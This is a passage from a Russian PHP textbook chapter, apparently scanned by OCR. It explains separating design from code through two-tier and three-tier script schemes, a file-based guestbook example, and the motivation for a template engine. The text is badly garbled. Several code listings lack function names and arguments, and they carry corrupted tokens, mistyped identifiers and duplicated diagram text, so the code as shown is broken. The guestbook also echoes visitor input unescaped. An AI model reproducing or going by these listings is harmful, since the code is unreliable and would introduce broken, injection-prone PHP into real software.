Итак, мы желаем максимально отделить работу программистов и дизайнеров. Давайте будем делать это не сразу, а постепенно, детализируя ситуацию. Вначале решим более простую проблему: разделим код сценария и шаблон его страницы (что я называю двухуровневой схемой построения сценария). Это довольно несложно. Мы уже поступали так в главе 28, когда писали сценарий простейшего фотоальбома. Теперь мы поставим задачу более точно.

Шаблон страницы

Пусть нам нужно завести новый раздел сайта — гостевую книгу. Выделим для нее отдельный каталог на сервере и создадим в нем файл примерно следующего содержания (листинг 30.1). Назовем его шаблоном страницы.

Листинг 30.1. Шаблон: gbook.htm

<html><headxtitle>rocTeBaH KHHra</title></head>

<body>

<Ь2>Добавьте свое сообщение:C/h2>

<form action^gbook.php method=post>

Ваше имя: cinput type^text name="New[name]"><br>

Комментарий:<br>

<textarea name="New[text]" wrap=virtual cols=60 rows=5x/textarea><br>

<input type^submit name="doAdd" уа1ие="Добавить!">

</form>

<Ь2>Гостевая книга:</h2>

<?foreach($Book as $id=>$Entry){?>

Имя человека: <?=$Entry['name']?><br>

Его комментарий:<br> <?=$Entry[1 text1]?><hr>

<?}?>

</body></html>

Видите, здесь почти нет PHP-кода, за исключением разве что одного- единственного цикла foreach. Для человека, занимающегося внешним видом вашей гостевой книги и совершенно не разбирающегося в программировании, это не должно выглядеть, как непреодолимое препятствие.

В некоторых других языках программирования мы могли бы написать систему, лишенную и указанного недостатка, но обладающую всеми качествами рассматриваемой. Честно говоря, существует всего лишь один способ добиться этого: "замаскировать" инструкцию foreach специальным псевдотэгом (который, как это ни удивительно, гораздо лучше воспринимается дизайнерами), чтобы код выглядел примерно так:

<foreach src=Book>

Имя человека: $name<br>

Его комментарий:<br>$textKhr>

</foreach>

Согласен, для программиста такая замена действительно кажется смешной. Однако она сильно приближает шаблон нашей страницы к идеалу — практически "чистому" HTML-коду.

Примечание

Хочу сразу сказать всем любителям разбивать один шаблон на множество файлов: их способ чаще всего не оправдывает себя.при написании крупных сценариев. Дело в том, что при такой организации довольно тяжело переставлять подшаблоны внутри страницы. Кроме того, подшаблоны нужно как-то загружать, а поручать эту задачу коду страницы не очень удобно все из тех же соображений: придется работать и программисту, и верстальщику. Легче всего это представить на примере все той же гостевой книги: если бы мы выделили тело цикла foreach в отдельный файл и попытались избавиться от этой инструкции, то пришлось бы переложить задачу циклического вывода данных на плечи программиста, сообщив ему попутно имя подшаблона. Чувствуете, сколько лишних зависимостей?..

Надо заметить, что реализовать "прозрачную" замену подобных тэгов на соответствующие инструкции в РНР практически невозможно (во всяком случае, без ущерба простоте отладки сценария). Это связано с чрезвычайной слабостью этого интерпретатора в вопросе, касающемся "перехвата" и обработки ошибок во время выполнения кода. К счастью, такая слабость оказывается непреодолимой лишь в подобных "экзотических" случаях. При написании шаблонизатора она сказывается гораздо меньше.

Генератор данных

это еще далеко не весь Вы, наверное, заметили, что сердце шаблона — цикл вывода записей — использует непонятно откуда взявшуюся переменную $Book, по контексту — двумерный массив. Кроме того, при отправке формы тоже ведь нужно предусмотреть некоторые действия (а именно, добавление записи в книгу).

Мы видим, что где-то должен быть скрыт весь этот код. Он, действительно, располагается в отдельном файле с именем Отличительная черта этого файла — то, что в нем нет никакого намека на то, как нужно форматировать результат работы сценария. Именно поэтому я называю его генератором данных (листинг 30.2).

Листинг 30.2. Генератор данных: gbook.php

// имя файла с данными гостевой книги

// Загружает гостевую книгу с диска. Возвращает содержание книги. function

{return

$Book=Unserialize(fread($f,100000)) ; fclose($f); return

}

Сохраняет содержимое книги на

function$Book)

{

fwrite($f, Serialize ($Book)) ; fclose($f)

)

// Исполняемая часть

// Сначала — загрузка гостевой книги.

$Book=LoadBook(GBook) ;

// Обработка формы, если сценарий вызван через нее.

// Если сценарий запущен после нажатия кнопки {

// Добавить в книгу запись пользователя — она у нас хранится

// в массиве $New, см. форму в шаблоне. Запись добавляется,

// какв начало книги.

$Book=array(time()=>$New)+$Book;

// Записать книгу на диск.

SaveBook(GBook, $Book);

)

// Все. Теперь у нас в $Book хранится содержимое книги в формате:

// array (

//=>

//(илиname =>

//text => текст_пользователя

U).

/ / . . .

И );

// Вот теперь загружаем шаблон страницы. include

?>

Как видим, исполняемая часть довольно небольшая и, действительно, занимается лишь подготовкой данных для их последующего вывода в шаблоне. Шаблон рассматривается этой составляющей как обычный PHP-файл, который она подключает приинструкции include. Ясно, что весь код

шаблона (хотя его и очень мало) выполнится в том же контексте, что и генератор данных, а значит, ему будет доступна переменная $Book.

Логически весь код можно разбить на 3 части. Первая из них — задание конфигурации сценария, в нашем случае она состоит всего лишь в определении одной-единственной константы GBook, хранящей имя файла гостевой книги. Во второй части, которую можно назвать "прикладным интерфейсом" гостевой книги, содержатся описания функций, достаточных для работы с гостевой книгой. Это, конечно, функции загрузки и сохранения наполнения книги на диске. Наконец, третья часть генератора данных обрабатывает запросы пользователей на добавление данных в книгу.

Таким образом, для работы нашего сценария нужны три файла: генератор данных, шаблон книги и файл с записями книги. В принципе, это минимум, если только не привлекать для хранения записей базу данных (что, безусловно, лучше в больших программах). Однако в нашем случае проще как раз работать с файлами, поэтому я на них и остановился.

Замечание

Обратите внимание: для того чтобы теперь переделать гостевую книгу так, чтобы она использовала базу данных, а не файл, достаточно изменить всего лишь 2 функции:иНи других частей генератора данных,

ни, тем более, шаблона это не затронет. На самом деле, такой подход не является случайностью: он очень тесно связан с трехуровневой схемой построения интерактивных сценариев, о которой мы скоро будем говорить.

Взаимодействие генератора данных и шаблона

Вернемся опять к тому же генератору данных. В нем мы проверяем, не запущен ли сценарий книги в ответ на нажатие кнопки Добавить в форме. Тут я хочу кое-что напомнить. Если вызвать программу без параметров, то пользователю будет просто выдано содержимое гостевой книги, в противном же случае (то есть при запуске из формы) осуществится добавление записи. Таким образом, мы "одним махом убиваем двух зайцев": используем один и тот же шаблон для двух разных страниц, внешне крайне похожих. Такую практику нужно только приветствовать, не правда ли? Определяем мы, нужно ли добавлять запись, по состоянию переменной 5doAdd. Помните, именно такое имя имеет submit-кнопка в форме? Когда ее нажимают, сценарию поступает пара "doAdd=flo6aBHTb!", чем мы и воспользовались. Итак, если кнопка нажата, то мы вставляем запись в начало массива $Book и сохраняем его на диске.

Обратите внимание, насколько проста операция добавления записи. Так получилось вследствие того, что мы предусмотрительно дали полям формы с названием и текстом имена, соответственно, New[name] и New[text], которые РНР преобразовал в массив. Вообще говоря, придумывание таких имен для полей — задача как раз того "третьего лица", о котором я говорил выше. Это — работа скорее программистская, нежели дизайнерская (хотя, безусловно, от удачного планирования названий имен полей зависит не так уж и мало).

Подчеркиваю, что в самом коде генератора данных gbook.php в принципе не присутствует никаких данных о внешнем виде нашей гостевой книги. В нем нет ни одной строчки на HTML. Иными словами, генератору совершенно "все равно", как выглядит книга. Он занимается лишь ее загрузкой и обработкой. Это значит, что в будущем для изменения внешнего вида гостевой книги нам не придется править этот код, т. е. мы добились некоторого желаемого разделения труда дизайнера и программиста.

С другой стороны, шаблон gbook.htm не делает никаких предположений о том, как же именно хранится книга на диске и как она обрабатывается. Его дело — "красиво" вывести содержимое массива $Book, "и точка". К тому же он почти не содержит кода на РНР (разве что самый минимум, без которого никак не обойтись). А значит, дизайнеру будет легко изменять внешний вид книги.

Недостатки

У любой медали есть оборотная сторона и, как часто бывает, от ее качества зависит довольно много. Имеется она и у двухуровневой схемы построения сценариев. Давайте систематизируем все недостатки и постепенно будем их исправлять.

Что такое для пользователя "гостевая книга"? Конечно х<е, это прежде всего страница. А для разработчика сценария? Разумеется, программный код. Получается, что взгляды пользователя несколько отличаются от воззрений разработчика. Как разрешить сформулированную неувязку? Для этого нужно посмотреть на нашу систему "генератор данных — шаблон" со стороны. Что мы видим? Генератор данных загружает данные с диска, а затем обращается к шаблону, чтобы тот их вывел. Но пользователь хочет иметь перед глазами прежде всего шаблон, а не работу генератора! Мы же заставляем его запускать программу. Возможно, следующее положение и покажется спорным, но на практике оно полностью оправдывает себя. А именно, предлагается поменять направление обмена данными между шаблоном и генератором данных. Пусть шаблон запрашивает данные у генератора, а тот их ему предоставляет. Согласитесь, это укладывается даже в замечательно зарекомендовавшую себя модель обмена "клиент- сервер": шаблон — это клиент, а генератор данных — сервер.

Хотя шаблон двухуровневой схемы и является подчиненным элементом, он все же вынужден ссылаться на имя генератора данных через атрибут action тэга <form>. Конечно, это вносит лишь дополнительную неразбериху и является еще одним стимулом к замене понятий "главный" и "подчиненный".

Генератор данных состоит из излишне большого числа логических блоков, связанных лишь односторонне. В самом деле, если мы будем писать систему администрирования для нашей гостевой книги, нам опять понадобятся функции загрузки и сохранения данных (то есть, функции LoadBook() и SaveBook ()). Поэтому логично будет выделить их в отдельный файл, который я здесь буду называть ядром сценария. Ядро — это третий компонент в трехуровневой схеме построения программы, о которой мы сейчас будем говорить. Разумеется, в сложных системах ядро может состоять из десятков (и даже сотен) файлов. Вообще говоря, оно также содержит и сведения о конфигурации (константу GBook), так что часто бывает удобно выделить эти данные в отдельный файл.

Шаблонстраницывмещает в себявесьееHTML-код. Втожевремя,в

современном мире подавляющее большинство сайтов организовано так, что их страницы построены по одной и той же "модели" (например, карта раздела слева, текст справа, баннер вверху, дополнительная информация снизу и т. д.). Согласитесь, что копировать один и тот же шаблон в

сотни мест просто неприемлемо для последующего редизайна (который, скорее всего, последует практически сразу, потому что при первой реализации довольно сложно бывает сразу учесть все пожелания заказчика). Конечно, мы можем вставить в нужные места шаблона вызовы инструкции include, загружающей соответствующие блоки страниц. Однако при детальном рассмотрении оказывается, что это всего лишь некоторая "отсрочка" неизбежной проблемы редизайна. В самом деле, мы сможем легко менять внешний вид отдельных блоков, но у нас не получится переставлять их в другом порядке (например, карта — справа, текст — слева) без утомительного изменения HTML-кода всех страниц.

Пожалуй, пока достаточно. Сейчас мы попытаемся решить все эти проблемы, кроме последней (традиционно являющейся для Web-студий настоящим ящиком Пандоры), которой мы тоже вскоре займемся, что выльется, как вы увидите, в довольно внушительный объем кода.

Трехуровневая схема

Итак, в отличие от двухуровневой, трехуровневая схема построения сценария содержит специально выделенный код, или ядро, которое совместно используют все "генераторы данных". Почему я заключил последний термин в кавычки? Да потому, что теперь мы будем называть его по-другому, а именно, интерфейсным кодом (или просто интерфейсом, хотя это, возможно, и не совсем корректно) сценария. Генератор данных — по-прежнему сущность, являющаяся объединением ядра и интерфейса.

Кроме того, при использовании трехуровневой схемы пользователь никогда "не видит" генератор данных. Он всегда имеет дело только с шаблоном страницы, который иногда выглядит, как программа. Это происходит при обращении к шаблону (а следовательно, и к генератору данных) из формы в браузере.

Шаблон страницы

Теперь шаблон сам вызывает генератор, который предоставляет ему нужные данные, а заодно и реагирует на запросы пользователя. Он выполняет это, например, при помощи все той же инструкции include:

Листинг 30.3. Шаблон: gbook.html

<?include "gbook.php"?>

<htmlxhead><title>rостевая KHnra</title></head>

<body>

<Ь2>Добавьте свое сообщение:</h2>

<form action=gbook.html method=post>

Ваше имя: <input type=text name="New[name]"><br>

Я не буду приводить текст страницы целиком, т. к. после определения формы он идентичен листингу 30.1. Итак, мы помещаем инструкцию include самой первой строчкой шаблона, и на это есть своя причина. Дело в том, что при различных, скажем так, "аварийных" событиях генератор данных может перенаправить браузер на другой адрес, не вернув управление в шаблон. Конечно, если бы include размещалась где-нибудь в середине шаблона, мы не смогли бы этого сделать, поскольку часть страницы могла быть уже отослана пользователю.

( Замечание J

К слову сказать, при использовании шаблонизатора, описанного ближе к концу этой главы, мы преодолеваем и этот недостаток. А именно, имеется возможность вставлять вызов генератора данных в любое удобное место шаблона.

Заметьте, что шаблон имеет расширение HTML и выглядит для пользователя как обычная HTML-страница. Пользователь может и не подозревать, что в действительности сценарий написан на РНР. Но, чтобы описанный механизм заработал, нам необходимо связать расширение HTML с обработчиком РНР. Мы уже делали это в главе 29. Вот какую строчку нужно добавить в файл .htaccess, расположенный в каталоге (или "надкаталоге") сценария:

AddHandler application/x-httpd-php . html

Внимание

Мы должны использовать директиву AddHandler, а не AddType, на случай, если для расширения HTML был ранее установлен другой обработчик. Им может быть, например, SSI (Server-Side Includes — Включения на стороне сервера) или даже РНР версии 3. В этом случае директива AddType "не срабатывает".

Пока применение include является для нас единственным средством обращения к генератору данных. Я все время повторяю эту фразу ^^^^" "обращение к генератору данных". Вообще говоря, она не совсем верна. В действительности обращение из шаблона происходит лишь к интерфейсу сценария, но не к его ядру. Ядро доступно для шаблона лишь посредством общения с интерфейсом, и никак не иначе. В свою очередь, ядро также не может "разговаривать" с шаблоном (во всяком случае, не должно).

Мы видим, что во всех операциях передачи данных неизменно используется "посредник" - - интерфейсная часть программы. Это открывает для нас интересные потенциальные возможности (которые на практике задействуются

довольно редко). А именно, ядро и шаблон могут в принципе "разговаривать на разных языках", тогда интерфейс будет служить их "переводчиком". Если задуматься, то это и есть главная задача интерфейса.

Диаграммы двухуровневой и трехуровневой моделей

Наверное, пришло время нарисовать схему взаимодействия частей программы при использовании двухуровневой и трехуровневой модели построения, а также еще раз подчеркнуть их различия. Стрелками (рис. 30.1 и 30.2) обозначены зависимости, которые можно охарактеризовать словами как "предоставляет данные". Пунктирные стрелки отмечают зависимости, реализуемые достаточно редко. На схемах это не что иное, как переадресация на другую страницу, возможно, выполняемая генератором данных.

Рис. 30.1.Двухуровневая схемаРис. 30.1.Двухуровневая схема

Рис. 30.1.Двухуровневая схема

Рис. 30.1.Двухуровневая схема

Мы видим, что в случае двухуровневой схемы связи между компонентами сценария исключительно циклические (см. рис. 30.1). Каждая часть программы взаимодействует на равных с другой ее частью.

Легко заметить, что рис. 30.2 гораздо сложнее, чем рис. 30.1. Его "загруженность" объясняется тем, что трехуровневая схема более, чем это может показаться с первого взгляда, сложна и универсальна по сравнению с двухуровневой. Обратите внимание на то, что практически все связи стали двусторонними, а циклические — исчезли. Это позволяет работать блоком более независимо, чем для случая двухуровневой модели. А значит, работу над сценарием можно распределить по нескольким исполнителям более эффективно, — к чему мы и стремились.

Примечание

Единственный блок программы, связями, — файл конфигурацииЕдинственный блок программы, связями, — файл конфигурациикоторый не связан с другими двусторонними системы. Это неудивительно, ведь конфигура-

Единственный блок программы, связями, — файл конфигурации

Единственный блок программы, связями, — файл конфигурации

ция содержит лишь набор определений констант и переменных, которыми пользуются все остальные блоки схемы. Впрочем, стрелка, ведущая из блока конфигурации в шаблон страницы, хотя и может существовать без особых последствий, все-таки иногда выглядит несколько нелогично. Рекомендуется так строить сценарии, чтобы шаблону не требовалась информация о конфигурации. Он должен обращаться только к данным, сгенерированным интерфейсом.

ПользовательПользовательРис. 30.2. Трехуровневая схемаРис. 30.2. Трехуровневая схемаГенератор данныхГенератор данныхШаблонШаблонстраницыстраницыИнтерфейснаячастьпрограммыАI.ИнтерфейснаячастьпрограммыАI.ЯдроЯдроttКонфигу-рацияКонфигу-рация

Пользователь

Пользователь

Рис. 30.2. Трехуровневая схема

Рис. 30.2. Трехуровневая схема

Генератор данных

Генератор данных

Шаблон

Шаблон

страницы

страницы

Интерфейснаячастьпрограммы

АI.

Интерфейснаячастьпрограммы

АI.

Ядро

Ядро

t

t

Конфигу-рация

Конфигу-рация

Интерфейс

Как можно заметить из листинга 30.4, интерфейс сценария гостевой книги стал гораздо проще, чем это было с генератором данных из листинга 30.2. Файл, в котором содержится его код, называется точно так же, как и файл генератора. Это и не удивительно: "снаружи" интерфейс выглядит как полноценный генератор данных, а о существовании ядра шаблон даже и не "подозревает".

Листинг 30.4. Интерфейс: gbook.php

<?

include "kernel.php"; // Загружаем ядро.

$Book=LoadBook(GBook) ; // Загрузка гостевой книги.

// Обработка формы, если сценарий запущен через нее.

if(!empty($doAdd)) {

// Добавить в книгу запись пользователя.

$Book=array(time()=>$New)+$Book;

// Записать книгу на диск.

$Book)

}

// Загрузка шаблона не нужна —наоборот, шаблон

// вызывает интерфейс.

Как видим, интерфейс занимается только той работой, для которой он и предназначен: выступает "посредником" между ядром и шаблоном. Самым первым загружаетсяфайл(я люблю так его называть).

Дальше осуществляется исключительно обработка и "расшифровка" входных данных и формирование выходных.

Ядро

Ядро — это самая ответственная, но, на мой взгляд, в то же время и самая скучная часть работы профаммиста. Действительно, оно напрямую не взаимодействует с шаблоном страницы, а значит, не имеет права "общаться" с пользователем.

Ядро в идеале должно содержать лишь наборкоторые позволяют

исчерпывающим образом работать с объектомВ этом смысле

идеально его объектно-ориентированное построение. Об объектно-ориентированном профаммировании на РНР будет вкратце рассказано в главе 31, а пока не будем усложнять и без того "скользкую" задачу и посмотрим, что представляет собой ядро нашей гостевой книги (листинг 30.5).

Листинг 30.5. Ядро:

<?

// Загружаем include

// Загружает гостевую книгу с диска. Возвращает содержимое книги. function

(

return

$Book=Onserialize (fread($f,100000)) ;

fclose($f) ;

return

}

Сохраняет данные книги на диске.

function SaveBook ($fname,$Book) { $f=fopen(GBook,"wb") ;

fwrite($f, Serialize ($Book)) ; fclose($f);

)

Действительно, здесь нет ничего, кроме определений функций и еще одной инструкции include (вздохните с облегчением — на этот раз последней). Она добавляет конфигурационные данные нашей книги — всего лишь одну- единственную константу GBook, определяющую имя файла, в котором гос- твевая книга и будет храниться. "Для порядка" приведу и его (листинг 30.6).

■ Листинг 30.6. Конфигурация: config.php

<?

define("GBook","gbook.dat"); // имя файла с данными книги

Примечание

Что же у нас получилось в результате? Мы "растянули" простой сценарий на целых 5 файлов (если считать еще и .htaccess, то на 6). Что ж, если вы так думаете, я с вами соглашусь. Тут все дело в том, что для простых сценариев (а именно такой мы и рассматривали) трехуровневая схема построения оказывается чересчур уж "тяжеловесной". Про такую ситуацию в народе говорят: "из пушки по воробьям". Что же касается сложных систем, не следует забывать, что "единственность" ядра может сэкономить нам количество файлов, если у комплекса много различных интерфейсов (например, разветвленная система администрирования), не говоря уже о простоте отладки и поддержки. Кроме того, можно полностью разделить работу по написанию ядра и интерфейса между несколькими людьми.

Проверкакорректностивходныхданных

До сих пор мы не заботились о том, корректные ли данные заносит посетитель. В нашей ситуации это и не нужно: в книгу кто угодно может добавлять любую информацию. В то же время в реальной жизни, конечно, приходится проверять правильность введенных пользователем данных.

Например, мы можем ввести в нашу гостевую книгу цензуру, которая будет запрещать пользователям употреблять в сообщениях ненормативную лексику. Конечно, при вводе недопустимого текста он не должен добавиться в гостевую книгу; вместо этого в браузер пользователя хотелось бы вывести

предупреждение. Но как осуществить желаемую модерацию в соответствии с трехуровневой схемой? И какая часть программы должна за это отвечать?

На второй вопрос ответить довольно просто. Так как ядро не в состоянии "общаться" с шаблоном напрямую, а шаблон не может исполнять сложный код, остается единственный вариант — интерфейс. А что касается того, как выводить сообщение об ошибке, — вопрос довольно спорный. Мы рассмотрим лишь самое простое решение.

Интерфейс должен сгенерировать сообщение и передать его шаблону. Последний, "заметив" сообщение, может вывести текст контрастными буквами, например, вверху страницы. С этим никаких проблем быть не должно. Пусть интерфейс в случае ошибки создает переменную $Error и присваивает ей текст ошибки. Вот как может выглядеть шаблон:

<?if(Isset($Error)) (?>

<h3*> fctit .' 1.: -r ■ 1>Пр гизошла ошибка: <?=$Error??></fontx/h3>

<?}?>

Замечание )

Такой подход, хоть и прост, оказывается немного неудобным для пользователя. Действительно, ему сообщают, что произошла ошибка, но не говорят, например, какое именно поле формы он заполнил неправильно. Пользователь желает, чтобы сообщения об ошибках появлялись напротив неверно введенных данных. К сожалению, без дополнительного программирования в шаблоне на РНР этого добиться довольно сложно (если вообще возможно). Единственный имеющийся выход — использовать шаблонизатор и написать для него фильтр (функцию, занимающуюся финальной обработкой блока страницы перед ее отправкой), которая будет в автоматическом режиме рядом со всеми тэгами формы проставлять возможные сообщения об ошибках (а заодно и атрибуты value в самих тэгах, чтобы поля формы сохраняли свои значения между вызовами сценария). Эта задача, пожалуй, потребует всей информации о РНР, заложенной в этой книге, и еще, вероятно, хорошего знания регулярных выражений Perl. Код, полностью решающий проблему, слишком объемен, чтобы уместиться на страницах данной книги.

Шаблонизатор

Вот мы и добрались до смысла "этого сладкого слова" -- шаблонизатора, которое я применяю то тут, то там по всему тексту. Возможно, чуть разобравшись в прилагаемом исходном коде, а затем и опробовав программу на практике (наверное, переписав на свой лад), вы разделите мое убеждение о том, что хороший шаблонизатор может сэкономить студии немало лишних часов работы.

Выше я описал недостатки двухуровневой схемы и показал, как их можно преодолеть при помощи трехуровневой модели построения сложных сценариев. Но, если вы помните, одна задача так и осталась нерешенной. А именно, мы обратили внимание, что даже при использовании трехуровневой схемы мы не можем легко менять внешний вид многих страниц сразу - без утомительного изменения шаблонов каждой из них. Если вы не забыли, решение с включаемыми файлами (в каждом из которых содержится отдельный, общий для всех сценариев блок страницы) также нам не подходит, потому что оно лишь слегка меняет постановку проблемы редизайна. Даже используя инструкцию include, мы попадем в тупик, если захотим изменить некоторых блоков на странице.

В общем, при всех достоинствах трехуровневой модели построения сценария ее необходимо несколько видоизменить, чтобы добиться хотя бы минимальных удобств. Это "видоизменение" я и называю

Примечание

Термин произошел от слова "шаблон" и не является стандартным для технической литературы. В этой книге я применяю его на свой страх и риск и в основном из соображений краткости: писать везде (а вам — читать) слова "система управления шаблонами" весьма утомительно.

Сама идея шаблонизатора не является новой в Web-программировании. Скорее даже наоборот: существуют десятки систем, построенных по описанным ниже принципам. Большинство из них — коммерческие и часто довольно сложны. В то же время многие свободно распространяемые системы (во всяком случае, те, с которыми я знаком, — например, Mason, лебедевский Parser и др.) отличаются одним недостатком: синтаксис их языка излишне сложен, а потому отпугивает. Кроме того, часто для освоения этих шаблонизаторов требуются навыки не только дизайнера или HTML- верстальщика, но и программиста. Мы же, напомню в очередной раз, стремимся к тому, чтобы распределить разработку сценария по возможно большему числу независимых людей, многие из которых не знакомы с программированием.

Примечание

Высказанные только что суждения являются моей личной позицией в вопросе шаблонизаторов, а потому, как и все субъективное, они вполне могут несколько отличаться от действительности. Читателю предлагается самому их проверить после того, как он ознакомится с моделью шаблонизатора, предлагаемого в этой главе. Нужно заметить, что, конечно, каждая Web-студия считает свою собственную версию шаблонизатора самой лучшей в мире.

Традиционное построение страниц

Итак, сосредоточим все свое внимание на том, как желательно строить сценарии, чтобы максимально упростить проблему редизайна, а вместе с ней - добавление новых страниц в карту сервера. Многие программисты ограничиваются тем, что разбивают свои страницы на 3 логических блока: верхнюю часть (header), центральную часть (text) и нижний участок страницы (footer). Каждая из этих составляющих хранится в отдельном файле. Центральный блок (text) является главным: до начала работы он загружает из файла общую для всех страниц верхнюю часть, а в конце выводит нижнюю. Вот как примерно выглядит шаблон страницы при такой структуре сценария (листинг 30.7):

Листинг 30.7. Традиционное построение шаблона

<?include "Interface.php"?>

<?include "$DOCUMENT_ROOT/templ/header.htm"?>

Здесь идет главный текст страницы, возможно, включающий данные, сгенерированные интерфейсом Interface.php <?include "$DOCUMENT_ROOT/templ/footer.htm"?>

Предполагается, что файлы header.htm и footer.htm хранятся в подкаталоге /tempi корневого каталога сервера и содержат участки страниц, которые должны быть выведены до и после основного текста страницы. Если сайт небольшой и в нем используется не так уж много различных шаблонов страниц, данное решение является самым простым. В таких ситуациях его применение оправдано. Но нас интересует оформление больших и сложных сайтов. Предположим, наш ресурс содержит сотни страниц, построенных по описанной схеме. Давайте взглянем на проблему с этой позиции.

Сложность перестановки блоков

Первый недостаток увидеть легко: мы не можем ни добавить новый блок в страницу, ни изменить положения уже имеющихся. Если мы попытаемся это сделать, потребуется менять код сотен страниц сайта.

Примечание

Необходимо заметить, что в нашем примере вряд. ли придется когда-нибудь изменять порядок следования блоков, раз мы договорились рассматривать проблему с общих позиций, а не с частных.

"Расщепление" шаблона

Второй недостаток более очевиден для дизайнера: файлы header.htm и footer.htm, хотя и представляют собой логически один шаблон, все же разделены. Все мы привыкли к тому, что многие тэги HTML (такие как <body>, <table> и т. д.) имеют парные закрывающие, причем расположенные в том же самом файле. Но в ситуации с разделением шаблона на footer и header мы, наоборот, должны хранить большинство открывающих тэгов в одном файле, а закрывающие — в другом. В листинге 30.8 приведен пример верхней части шаблона страницы.

Листинг 30.8. Файл header,htm

<html>

<body bgcolor-white>

<М>Добрый день.</hl>

<tablextr>

.</td>.</td><td width=20%>KapTa раздела:

.</td>

.</td>

<td>

Видите, файл оборвался на открывающем тэге. Теперь взглянем на листинг 30.9:

Листинг 30.9. Файл footer.htm

</td>

</trx/table>

</body>

</html>

Он состоит исключительно из одних закрывающих тэгов. Потенциально, добавив в header.htm новый открывающий тэг, мы можем забыть закрыть его в footer.htm. Кроме того, такая конструкция несколько противоречит логике: две похожих по смыслу части шаблона содержатся в разных файлах. Мы уже обсуждали это выше и пришли к выводу, что данное построение оказывается довольно неудобным.

Сложность смены шаблона у части страниц

Еще один недостаток описанной схемы следует из предыдущего. Каждая страница должна "знать", где расположены файлы header.htm и footer.htm. Пусть у нас на сайте есть каталог, в котором "лежат" сотни файлов. Во время разработки оказалось, что шаблон для всех файлов в этом каталоге дол-

жен отличаться от шаблона всех остальных страниц (которых также немало). Значит, требуется создать еще одну пару header- и footer-файлов, назвав их, например, headerl.htm и footer1.htm. Это в общем-то не представляет особой проблемы, сложность в другом: придется заменять ссылки во всех файлах каталога. Можно, конечно, сделать это посредством глобальных поиска и замены при помощи какого-нибудь текстового редактора (например, HomeSite фирмы Allaire), но, согласитесь, это решение выглядит как явно "лобовое". Кроме того, если мы имеем доступ к сайту только с использованием FTP, нам придется "скачивать" все страницы, редактировать их, а затем опять копировать на сервер. Естественно, для крупных информационных сайтов такие "накладные расходы" просто неприемлемы.

Возможно единственное решение этой проблемы ■■■■ заставить страницы "наследовать" ссылку на шаблон каталога (или его родительского каталога), в котором они находятся. Таким образом, поправив эту ссылку в информации о каталоге, мы автоматически изменим шаблон и у всех страниц в нем.

( Замечание )

Для сравнительно небольших систем все же существует путь, обходящий, хоть и не очень удачно, рассматриваемую проблему. А именно, можно для каждого раздела сайта использовать отдельную пару header- и footer-файлов. В действительности же эти файлы будут представлять собой лишь символические ссылки на "настоящие" шаблоны. Правда, эта схема работает лишь в системах Unix. Кроме того, она нисколько не упрощает ситуацию, когда разработчики решили перенести часть страниц из одного раздела в другой (сменив при этом их шаблоны).

Что такое шаблонизатор?

Итак, мы вновь столкнулись с множеством трудноразрешимых накладок (возможно, ВЫГЛЯДЯЩИХ для многих с первого взгляда как надуманные). Когда же они закончатся, спросите вы? Отвечаю: прямо сейчас.

Давайте взглянем "в корень" описанных выше сложностей. Почему они вообще возникают в этой задаче? Нетрудно догадаться: опять же из-за излишних зависимостей данных. Помните, эти зависимости привели нас в свое время к необходимости перехода от двухуровневой схемы построения сценариев к трехуровневой? Теперь они подводят нас к идее шаблонизатора.

Вспомним, что мы сделали тогда, чтобы убрать зависимости. Мы поменяли местами "поставщика" и "исполнителя". Идея выполнить обратную перестановку кажется абсурдной, т. к. мы опять придем к тому, с чего начали. Конечно, мы не будем так делать. Зададимся отвлеченным вопросом: что предпринимает общество, когда перед ним возникает чересчур большое количество нерешенных и необъяснимых задач? Оно придумывает себе богов. В программировании — то же самое. Раз мы не можем больше сослать-

ся ни на генератор данных, ни на шаблон, значит, настало время реализовать нечто третье, "бога", управляющего всей системой в совокупности и распределяющего обязанности. Вы, наверное, догадались, что я снова имею в виду шаблонизатор.

Итак, шаблонизатор — это программный код, держащий "под контролем" все файлы на нашем сайте. Ни одно обращение к странице, ни один запуск сценария не может пройти без его непосредственного участия. В то же время шаблонизатор "маскирует" себя, создавая у пользователя впечатление, будто бы его и нет. Этим он похож на генератор данных в трехуровневой модели построения сценариев.

Замечание J

Теперь вы почувствовали, почему я применил здесь аналогию с богом? Ведь бог как раз удовлетворяет тем описаниям, которые даны в предыдущем абзаце!

Впрочем, идеология "вездесущего" кода не является для нас новой: нечто похожее мы уже рассматривали в главе 29, правда, с целью гарантированного подключения библиотекаря ко всем сценариям сайта. В рамках реализуемой "религии" мы применим точно такой же подход, только вместо библиотекаря будет подключаться и запускаться шаблонизатор.

Описание шаблонизатора

Сформулируем, что должен уметь делать наш будущий шаблонизатор. Конечно, все, что мы реализуем, будет лишь самым основным, что мы хотели бы получить от этой системы. В то же время в описанную концепцию чрезвычайно легко добавлять новые возможности (так уж она разрабатывалась). Для этого практически не придется переписывать имеющийся код, останется лишь вставить то, что нам нужно.

Вставка страниц в единый шаблон

Раньше главный текстовый блок страницы (text) запрашивал подключения к себе двух частей шаблона — footer и header. Но, раз мы в очередной раз поменяли местами "поставщика данных и "исполнителя", посмотрим, нельзя ли пойти дальше. Давайте поиграем в такую словесную игру: "обработаем" первое предложение этого абзаца, переставив в нем понятия, соответствующие "исполнителю" и "поставщику". Получим буквально: шаблон запрашивает подключение к себе главного текстового блока страницы. Эврика, это и есть главная задача шаблонизатора!

Не хотите ли взглянуть с этой новой позиции на шаблон страницы? Тогда изучите листинг 30.10.

Листинг 30.10. Свежий взгляд на шаблон страницы: /tempi/main.tmpl

<?Block("Output"?>

<htmlxhead><title><?=Blk("Title")?><tltlex/head>

<body bgcolor=white>

<Н1>Добрый день.</hl>

<table><tr>

<td width=20%>KapTa раздела: . . .</td>

<td width=80%X?=Blk ("Text") ?></td>

</trX/table>

</bodyx/html>

Примечание

He обращайте пока внимания на команду <?Block("Output"?>. Ее смысл поясняется немного ниже.

Мы видим, что ненужное и опасное "расщепление" шаблона на два файла ушло в прошлое, а мы опять вернулись к простой модели. Будем хранить ЭТОТ шаблон В файле /templ/main. tmpl.

Но позвольте, откуда же возьмется блок с именем Text, который выводится в середине этого шаблона? Вот задачу по его получению и возьмет на себя шаблонизатор. Предположим, пользователь обратился по адресу /news/weekly/today.html. Шаблонизатор, как я уже упоминал, "перехватит" это обращение и "возьмет" текстовый блок из файла today.html, расположенного в каталоге /news/weekly. Затем он передаст управление шаблону, который вставит этот текст в нужное место страницы и отправит последнюю браузеру.

Множественность блоков

